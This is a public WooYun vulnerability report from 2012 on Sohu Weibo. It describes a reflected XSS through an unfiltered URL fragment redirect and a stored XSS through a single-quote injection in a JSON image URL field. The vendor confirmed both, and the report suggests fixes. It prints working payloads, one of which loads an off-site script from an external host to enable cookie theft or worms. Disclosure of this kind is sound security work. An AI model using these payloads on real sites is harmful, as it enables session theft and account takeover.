当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06605

漏洞标题:搜狐微博:1个内容存储型XSS+1×N个反射型XSS

相关厂商:搜狐

漏洞作者: gainover

提交时间:2012-05-02 14:34

修复时间:2012-06-16 14:34

公开时间:2012-06-16 14:34

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-02: 细节已通知厂商并且等待厂商处理中
2012-05-02: 厂商已经确认,细节仅向厂商公开
2012-05-12: 细节向核心白帽子及相关领域专家公开
2012-05-22: 细节向普通白帽子公开
2012-06-01: 细节向实习白帽子公开
2012-06-16: 细节向公众公开

简要描述:

之前看到皮鞋啊,老酸奶,胶囊的新闻的时候,看到 郁闷的小崔 在搜狐发的微博, 有个跳转,随手试了下,又看了下源码,没过滤。
那时候本来打算发到乌云来的, 就看了下搜狐对反射型的XSS的评价,基本都在5分,我想着啊,我这个估计也就能换个5分,就攒着以后再发吧~~
今天又随手测试了下,发现了另外一个存储型XSS。内容里的哦,危害大家都知道的~~

详细说明:

1. 漏洞1: 反射型XSS。
漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~)
漏洞函数:

(function() {
var originalUrl = window.location.href,
toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1];
if (toUrl) {
window.location.href = toUrl;
}
})();


URL跳转时候没有过滤 toUrl
漏洞利用, 随便发一条微博,内容为
让人震撼的XXX电影,史上最强大雷人的阵容, @谁谁谁,@谁谁谁, http://t.sohu.com/m/3398041534/#javascript:alert%28document.cookie%29%3B
点击即可中招。 具体图片见漏洞证明!
这第一个漏洞的更强大的位置在于。。
几乎所有整个搜狐微博的各个页面,都有上面这段漏洞函数。
比如: http://t.sohu.com/home (登录后,直接 http://t.sohu.com/home#javascript:alert(document.cookie);可见效果。)
因为 http://t.sohu.com/m/\d+ 以及 http://t.sohu.com/.+ 都存在该XSS,
所以俺说 是1×N 个反射型XSS。
平台:IE及Chrome下均有效。
Besides,
相比传统的反射型漏洞,加个<script>xxx</script>什么的, 容易被IE和其他浏览器自带的防护拦截。
这种 location.href="javascript:xxxx" 不会受到这种影响。 所以此洞更有优势。
-------------------------华丽的分割线--------------------
2. 漏洞2:内容存储型XSS。
提交微博内容时:pics 字段为JSON数据, JSON数据里的 url 过滤了双引号,但是没过滤单引号。 导致跨站。
构造以下理由代码: 即在地址后面 xxx.png',a:(function(){alert('xx');})(),b:'

[{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_90649467295126824.png',a:(function(){alert('xx');})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]


发送此微博后, 其它用户点击内容图片即可触发。
图片长度有一定限制, 查看了下源码,搜狐微博用了jquery, 直接调用jQuery的getScript函数。调用站外JS。

[{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_123.png',a:(function(){jQuery.getScript('//xss'+'report.sinaapp.com/1.js')})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]


剩下的事情,就在我们的JS里完成即可咯~~ 蠕虫神马的~
具体效果见图片证明。

漏洞证明:




修复方案:

1. 反射型的那个,修改漏洞函数,对#后面来源的地址拿正则判断下咯。
2. 存储型的这个,过滤url里的单引号

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-05-02 14:57

厂商回复:

thanks.

最新状态:

暂无